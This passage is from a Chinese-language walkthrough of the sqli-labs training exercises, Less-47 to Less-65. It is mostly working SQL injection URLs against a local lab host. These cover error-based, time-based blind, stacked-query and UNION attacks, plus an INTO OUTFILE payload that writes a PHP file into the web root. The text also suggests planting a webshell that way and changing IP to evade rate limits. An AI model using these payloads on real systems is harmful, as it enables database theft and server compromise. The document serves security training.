1 | http://127.0.0.1/sqli-labs-master/Less-47/index.php?sort=1' and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+ |
可以看到user()的内容,同时可以构造其他语句进行注入。
③延时注入
1 | http://127.0.0.1/sqli-labs-master/Less-47/index.php?sort=1' and if(ascii(substr(database(),1,1))=115,0,sleep(5))--+ |
这里因 database()为 security, 所以第一个字母的 s 的 ascii 为 115, 此处直接显示, 当改为116 或者其他的数字的时候, 就要延时了
(2) procedure analyse 参数后注入
利用 procedure analyse 参数, 我们可以执行报错注入。 同时, 在 procedure analyse 和 order by 之间可以存在 limit 参数, 我们在实际应用中, 往往也可能会存在 limit 后的注入, 可以利用 procedure analyse 进行注入。
以下为示范例
1 | http://127.0.0.1/sqli-labs-master/Less-47/index.php?sort=1' procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+ |
(3)导入导出文件 into outfile 参数
1 | http://172.18.9.91/sqli-labs-master/Less-47/?sort=1' into outfile "D:\\phpStudy\\WWW\\sqli-labs-master\\test.txt"-- + |
将查询结果导入到文件当中
可以考虑上传网马,利用lines terminated by.
into outfile D:\phpStudy\WWW\sqli-labs-master\test.txt terminated by 0x(网马进行16进制转换)
1 | http://172.18.9.91/sqli-labs-master/Less-47/?sort=1' into outfile "D:\\phpStudy\\WWW\\sqli-labs-master\\test.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+ |
此处16进制文件为 <?php phpinfo();?>
访问test.php
less48
该关卡和less46的区别在于报错注入无法使用,不进行错误回显,但是其余方法是可以使用的。
可以利用sort=rand(true/false)进行判断
1 | http://172.18.9.91/sqli-labs-master/Less-48/?sort=rand(ascii(left(database(),1))=178) |
1 | http://172.18.9.91/sqli-labs-master/Less-48/?sort=rand(ascii(left(database(),1))=115) |
and后的延时注入
1 | http://172.18.9.91/sqli-labs-master/Less-48/?sort=1%20and%20(if(ascii(substr(database(),1,1))=115,0,sleep(5))) |
同样可以使用into outfile进行
1 | http://172.18.9.91/sqli-labs-master/Less-47/?sort=1 into outfile "路径" |
less49
本关卡与less47相似,区别在于没有错误回显,但是可以通过延时注入和导入文件注入的方式进行。
延时注入:
1 | http://172.18.9.91/sqli-labs-master/Less-49/?sort=1' and (if(ascii(substr((select username from users where id=1),1,1))=69,0,sleep(5)))--+ |
或者利用into outfile进行注入:
1 | http://172.18.9.91/sqli-labs-master/Less-49/?sort=1' into outfile "D:\\phpStudy\\WWW\\sqli-labs-master\\test.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+ |
less50
该关卡开始进行的是 order by stacked injection
执行sql语句使用的是mysqli-multi_query()函数,而之前使用的是mysqli_query()函数,两者的区别在于mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句,由此可以执行多个sql语句进行,也就是之前的stacked injection。
直接构造playload:
1 | http://172.18.9.91/sqli-labs-master/Less-50/index.php?sort=1;create table less50 like users |
也就是跟前面的stacked injection一样的,就不详细说了。
less51
本关卡与less50最主要的区别在于sql查询语句中对传入参数的处理
1 | SELECT * FROM users ORDER BY '$id' |
在此关卡要进行stacked injection,要注释掉'
,playload如下:
1 | http://172.18.9.91/sqli-labs-master/Less-51/index.php?sort=1';create table less51 like users--+ |
less52
与less50是一样的,区别在于mysql错误不会再前台显示,但是对于堆叠注入没有影响。
1 | http://172.18.9.91/sqli-labs-master/Less-52/index.php?sort=1;create table less52 like users |
就不截图了
less53
与less51是一样的,区别也在于mysql错误不回显,但是不影响堆叠注入。
1 | http://172.18.9.91/sqli-labs-master/Less-53/index.php?sort=1';create table less53 like users--+ |
第四部分/page-4 Challenges
less54
此系列主要是一个进阶的学习, 将前面学到的知识进行更深次的运用。 这一关我们主要考察
的依旧是字符型注入, 但是只能尝试十次。 所以需要在尝试的时候进行思考。 如何能更少的
减少次数。 这里的表名和密码等是每十次尝试后就强制进行更换。
有键入数据的界面得知,数据库的名字为challenges,所以只需从获取表名开始。
1 | http://172.18.9.91/sqli-labs-master/Less-54/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_security='challenges'--+ |
获知表名:ckcibj2h4j,找到该表的所有列
1 | http://172.18.9.91/sqli-labs-master/Less-54/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ckcibj2h4j'--+ |
获取到所有列:id,sessid,secret_IZGY,tryy,尝试将所有的数据进行查看,此处知道密码在secret_IZGY列中,所以直接查看该列的内容。
1 | http://172.18.9.91/sqli-labs-master/Less-54/?id=-1' union select 1,2,group_concat(secret_IZGY) from challenges.ckcibj2h4j--+ |
获得密码:31RUuO2jP4KOXg2plHOs2U5s,提交
其实实际渗透测试当中, 我们可以利用更换 ip(可以考虑代理) 或者更换浏览器等, 要看服
务器端检测什么内容进行限制
less55
本关卡的sql语句为:
1 | SELECT * FROM security.users WHERE id=($id) LIMIT 0,1 |
这边与less54是一样的,只需将id进行一个处理,只需要)
即可,但是这边要求次数为14次。
playload
1 | http://172.18.9.91/sqli-labs-master/Less-55/?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+ |
less56
与less54 55形式一致,查看sql查询语句
1 | SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1 |
因此该关卡playload如下:
1 | http://172.18.9.91/sqli-labs-master/Less-56/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+ |
less57
1 | $id= '"'.$id.'"'; |
从代码中看到对id进行双引号处理,所以在构造的时候也需要进行双引号处理。
playload
1 | http://172.18.9.91/sqli-labs-master/Less-57/?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+ |
less58
从源码看,执行sql语句之后没有返回数据库中查询到的数据,所以此处不能使用union联合注入,可采用报错注入:
1 | http://172.18.9.91/sqli-labs-master/Less-58/?id=-1' union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+ |
ps:这边只有五次机会,要注意
less59
查看源码,发现与less58一致,只是id的处理不一样,无需加单引号
1 | http://172.18.9.91/sqli-labs-master/Less-59/?id=-1 union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+ |
less60
查看源码,发现与less59一致,只是id的处理不一样,增加双引号和括号
1 | http://172.18.9.91/sqli-labs-master/Less-60/?id=-1") union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+ |
less61
这次比较少见,是使用双括号处理id
1 | http://172.18.9.91/sqli-labs-master/Less-61/?id=-1')) union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+ |
less62
此处union和报错注入都是失效的,采用延时注入的方式:
1 | http://172.18.9.91/sqli-labs-master/Less-62/?id=1') and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+ |
当正确的时候时间很短, 当错误的时候时间大于 10 秒, 每位去尝试,逐步才出相关信息
less63
与less62一致,但是只能使用延时注入的方式
1 | http://172.18.9.91/sqli-labs-master/Less-63/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+ |
当正确的时候时间很短, 当错误的时候时间大于 10 秒
less64
sql语句
1 | SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1 |
playload
1 | http://172.18.9.91/sqli-labs-master/Less-64/?id=1)) and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+ |
当正确的时候时间很短, 当错误的时候时间大于 10 秒。
less65
1 | $id = '"'.$id.'"'; |
此处对 id 进行了 “” () 的处理, 构造 payload 时应该注意
playload
1 | http://172.18.9.91/sqli-labs-master/Less-65/?id=1") and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+ |
!!!!!!!Ending
原文作者: fzykn06
原文链接: http://fzykn06.github.io/2019/12/27/sqli-labs-writeup/
版权声明: 转载请注明出处(必须保留作者署名及链接)